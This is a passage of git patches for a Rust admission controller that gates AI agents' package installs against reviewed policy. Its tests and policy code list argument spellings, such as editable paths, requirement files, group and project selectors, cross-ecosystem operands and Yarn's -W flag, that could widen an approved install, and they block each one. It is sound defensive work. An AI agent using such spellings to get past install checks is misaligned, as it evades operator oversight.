"--require-hashes", + "--requirements=requirements.txt", + ], + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--editable=./unreviewed", + ], + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group", "unreviewed"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--project", + "./unreviewed", + "--group", + "runtime", + ], + ]; + + for arguments in cases { + assert_indirect_source_blocked("uv", arguments); + } +} + +fn assert_indirect_source_blocked(executable: &str, arguments: &[&str]) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-02.2".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let mut argv = Vec::with_capacity(arguments.len() + 1); + argv.push(executable.to_string()); + argv.extend(arguments.iter().map(|argument| (*argument).to_string())); + let intent = InstallIntent { + request_id: format!("req-indirect-source-{executable}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {} must not source undeclared artifacts", + arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "indirect package sources must use the stable artifact_not_approved reason" + ); +} From e552672b5585269accafb385eec50fd815ddf822 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:21:09 +0900 Subject: [PATCH 076/702] test(admission): cover attached indirect sources --- .../tests/indirect_artifact_source_contract.rs | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs index 013367e5..63541d42 100644 --- a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -68,6 +68,7 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--editable=./unreviewed", ], &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group", "unreviewed"], + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "--group=unreviewed"], &[ "pip", "install", @@ -78,6 +79,14 @@ fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths "--group", "runtime", ], + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--project=./unreviewed", + "--group=runtime", + ], ]; for arguments in cases { From 838e19400e42ac4138ff82f754c40f80a0b99d05 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:22:42 +0900 Subject: [PATCH 077/702] fix(admission): reject indirect artifact sources --- crates/agent-artifact-admission/src/policy.rs | 38 ++++++++++++++++++- 1 file changed, 37 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 10ddf993..77014389 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -260,7 +260,8 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { + let contains_flag = |flags: &[&str]| { + arguments + .iter() + .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) + }; + + match executable { + "pip" | "pip3" => contains_flag(&[ + "-r", + "--requirement", + "-e", + "--editable", + "--requirements-from-script", + ]), + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + contains_flag(&[ + "-r", + "--requirement", + "--requirements", + "-e", + "--editable", + "--group", + "--project", + ]) + } + _ => false, + } +} + fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { let Some(flag_name) = flag.strip_prefix("--") else { return false; From fcf0a58d18f58966a9aca066ddbb4c2672ae2158 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:09:59 +0900 Subject: [PATCH 078/702] test(admission): reject cross-ecosystem package manager reuse --- .../tests/ecosystem_binding_contract.rs | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs diff --git a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs new file mode 100644 index 00000000..5aa651cd --- /dev/null +++ b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs @@ -0,0 +1,59 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, + admission_decision, +}; + +fn npm_artifact_policy_allowing_cargo() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.2".to_string(); + policy.allowed_executables = vec!["npm".to_string(), "cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "ripgrep".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Example".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "ripgrep@1.2.3".to_string(), + }]; + policy +} + +#[test] +fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { + let policy = npm_artifact_policy_allowing_cargo(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "ripgrep@1.2.3".to_string(), + "--locked".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "npm".to_string(); + artifact.name = "ripgrep".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://registry.npmjs.org".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "ripgrep@1.2.3".to_string(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "cross-ecosystem package-manager reuse must fail closed: {:?}", + decision.reason_codes + ); +} From 05dd7abaca5baf4c41c5607cfaf698d75fddd882 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:12:02 +0900 Subject: [PATCH 079/702] fix(admission): bind artifacts to package-manager ecosystem --- crates/agent-artifact-admission/src/policy.rs | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 77014389..44d8bf91 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -260,7 +260,11 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { + match executable { + "npm" | "pnpm" | "yarn" | "bun" => ecosystem == "npm", + "pip" | "pip3" | "uv" => ecosystem == "pypi", + "cargo" => ecosystem == "cargo", + "docker" | "podman" => ecosystem == "oci", + _ => false, + } +} + fn requests_indirect_artifact_source(executable: &str, arguments: &[String]) -> bool { let contains_flag = |flags: &[&str]| { arguments From c10e6dda9ee770178042f970028c08a40c456cd1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:14:11 +0900 Subject: [PATCH 080/702] test(admission): preserve same-ecosystem cargo install --- .../tests/ecosystem_binding_contract.rs | 64 ++++++++++++++++--- 1 file changed, 56 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs index 5aa651cd..3eef8b62 100644 --- a/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs +++ b/crates/agent-artifact-admission/tests/ecosystem_binding_contract.rs @@ -24,26 +24,58 @@ fn npm_artifact_policy_allowing_cargo() -> AdmissionPolicy { policy } -#[test] -fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { - let policy = npm_artifact_policy_allowing_cargo(); +fn cargo_artifact_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.2".to_string(); + policy.allowed_executables = vec!["cargo".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "cargo".to_string(), + name: "ripgrep".to_string(), + version: "14.1.1".to_string(), + registry_url: "https://crates.io".to_string(), + owner: "Example".to_string(), + sha256: "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd".to_string(), + artifact_argument: "ripgrep@14.1.1".to_string(), + }]; + policy +} + +fn cargo_intent(ecosystem: &str, version: &str, registry_url: &str, digest: &str) -> InstallIntent { let mut intent = InstallIntent::unowned_llms_package_for_test(); intent.argv = vec![ "cargo".to_string(), "install".to_string(), - "ripgrep@1.2.3".to_string(), + format!("ripgrep@{version}"), "--locked".to_string(), ]; let artifact = intent .artifacts .first_mut() .expect("test helper supplies one artifact"); - artifact.ecosystem = "npm".to_string(); + artifact.ecosystem = ecosystem.to_string(); artifact.name = "ripgrep".to_string(); - artifact.version = "1.2.3".to_string(); - artifact.registry_url = "https://registry.npmjs.org".to_string(); + artifact.version = version.to_string(); + artifact.registry_url = registry_url.to_string(); artifact.owner = "Example".to_string(); - artifact.artifact_argument = "ripgrep@1.2.3".to_string(); + artifact.sha256 = digest.to_string(); + artifact.artifact_argument = format!("ripgrep@{version}"); + intent +} + +#[test] +fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { + let policy = npm_artifact_policy_allowing_cargo(); + let intent = cargo_intent( + "npm", + "1.2.3", + "https://registry.npmjs.org", + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + ); let decision = admission_decision(&policy, &intent); @@ -57,3 +89,19 @@ fn approved_npm_identity_cannot_authorize_same_shaped_cargo_operand() { decision.reason_codes ); } + +#[test] +fn cargo_identity_remains_allowed_through_cargo_install() { + let policy = cargo_artifact_policy(); + let intent = cargo_intent( + "cargo", + "14.1.1", + "https://crates.io", + "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} From 7c38f25e31a0ef4d11a6677549320134b6502069 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:16:18 +0900 Subject: [PATCH 081/702] docs(admission): trace package-manager ecosystem binding --- docs/doctoring/agent-artifact-admission.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 9b233533..66ab05dc 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -8,6 +8,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | --- | --- | --- | | Treat model/web/tool text as untrusted input, not execution authority | NIST SP 800-218A extends SSDF practices to generative-AI systems and their development lifecycle | Issue #128 threat model; `InstallIntent` must independently satisfy policy | | Require reviewed, exact artifact identity and digest | NIST SSDF 1.1 emphasizes protecting software and verifying integrity; SLSA 1.2 formalizes provenance/verified properties | `ApprovedArtifact`, exact version/registry/owner/SHA-256 matching | +| Bind the submitted package-manager executable to the reviewed artifact ecosystem | npm documents `@` install operands and Cargo documents `crate[@version]`; the same token shape therefore cannot establish which registry ecosystem an approval authorizes | `artifact_ecosystem_matches_executable`; `ecosystem_binding_contract.rs` cross-ecosystem RED plus same-ecosystem Cargo control | | Keep provenance provider schemas outside the domain model | SLSA, Sigstore and TUF have independent schemas, trust roots and lifecycle rules | ADR-0012 and DDD architecture fitness test require adapters/ACLs | | Bind an allow decision to immutable reviewed policy | TUF's signed metadata model and SLSA source/build provenance both separate producer evidence from consumer verification policy | immutable v0.1 `AdmissionPolicy`; deny-all default | | Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | @@ -40,6 +41,10 @@ The TUF specification page lists v1.0.33 as latest at verification time. TUF's m Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. +### Package-manager executable and ecosystem identity + +An approved argv token is not by itself a package-registry identity. npm documents package install operands such as `name@version`; Cargo's current `cargo install` synopsis independently accepts `crate[@version]`. A reviewed token such as `ripgrep@1.2.3` can therefore be syntactically meaningful to both package managers while naming artifacts from different registries, publisher namespaces, and byte streams. Wardnet binds the executable family to the declared artifact ecosystem before exact artifact matching: npm-family commands may authorize only `npm`, pip/uv pip only `pypi`, Cargo only `cargo`, and Docker/Podman pulls only `oci`. The executor still verifies retrieved bytes/provenance; this admission check prevents an approval from being reinterpreted across ecosystems before execution. + ### pip command trust and installation roots The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. @@ -66,7 +71,7 @@ Astral Software, Inc. (2026). *Using environments: uv documentation.* https://do Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A -National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications From b3d0831e58efd38f40450a7ad58563b93dd1ff3c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 23:16:42 +0900 Subject: [PATCH 082/702] docs(changelog): record ecosystem-bound artifact admission --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 55982aca..eda1bf34 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,11 +5,11 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, and package-manager trust/destination controls with current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, and package-manager trust/destination controls with current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 080997cc371a5ade2906e3f4237e94e51b0cfc05 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:49:46 +0900 Subject: [PATCH 083/702] test(security): reject Yarn workspace-root escape flags --- .../tests/yarn_workspace_root_contract.rs | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs diff --git a/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs new file mode 100644 index 00000000..3b2f06af --- /dev/null +++ b/crates/agent-artifact-admission/tests/yarn_workspace_root_contract.rs @@ -0,0 +1,76 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn yarn_classic_workspace_root_escape_flags_fail_closed() { + for workspace_root_flag in ["-W", "--ignore-workspace-root-check"] { + let artifact_argument = "@cwl/example@1.2.3"; + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: artifact_argument.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-03.1".to_string(), + allowed_executables: vec!["yarn".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-yarn-workspace-root-{workspace_root_flag}"), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "yarn".to_string(), + "add".to_string(), + artifact_argument.to_string(), + "--ignore-scripts".to_string(), + workspace_root_flag.to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "Yarn Classic {workspace_root_flag} must not widen an approved install to the workspace root" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "Yarn Classic {workspace_root_flag} must produce alternate_install_root" + ); + } +} From 0a4f20dabb56d663b4121adbbc699b2b246a1f5e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:51:15 +0900 Subject: [PATCH 084/702] fix(security): block Yarn workspace-root scope escape --- crates/agent-artifact-admission/src/policy.rs | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 44d8bf91..72bdbdaf 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -496,7 +496,19 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") }) } - "pnpm" | "yarn" | "bun" => { + "yarn" => { + contains_flag(&[ + "-g", + "--global", + "--prefix", + "-W", + "--ignore-workspace-root-check", + ]) || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } + "pnpm" | "bun" => { contains_flag(&["-g", "--global", "--prefix"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { From a2d70431f8b8d9c7edba9ecec90db1f05a36a602 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:52:15 +0900 Subject: [PATCH 085/702] docs(security): trace Yarn workspace-root rejection --- docs/doctoring/agent-artifact-admission.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 66ab05dc..02910487 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -1,6 +1,6 @@ # Agent Artifact Admission research and standards traceability -Verified 2026-09-02. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. +Verified 2026-09-03. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. ## Decision trace @@ -18,6 +18,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | +| Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -63,6 +64,10 @@ npm's current workspace documentation defines workspaces as nested packages in t npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. +### Yarn Classic workspace-root override + +Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. + ## APA 7 references Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ @@ -95,6 +100,8 @@ Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ +Yarn Contributors. (2026). *yarn add: Yarn Classic documentation.* https://classic.yarnpkg.com/lang/en/docs/cli/add/ + ## Evidence limitations Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From 350156bc16f1f5a14492ee961f19f38c4a2d468d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 00:52:33 +0900 Subject: [PATCH 086/702] docs(changelog): record Yarn workspace-scope hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index eda1bf34..b93cb5c7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources or destinations: npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, Yarn Classic `-W`/`--ignore-workspace-root-check`, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From a5a80c75e584a783f797f3c1fcb4d40598f32f9a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 3 Sep 2026 02:38:24 +0900 Subject: [PATCH 087/702] test(admission): reject Bun scope and config escapes --- .../tests/bun_scope_escape_contract.rs | 104 ++++++++++++++++++ 1 file changed, 104 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs diff --git a/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs new file mode 100644 index 00000000..fe1a2e94 --- /dev/null +++ b/crates/agent-artifact-admission/tests/bun_scope_escape_contract.rs @@ -0,0 +1,104 @@ +use wardnet_agent_artifact_admission::{ + 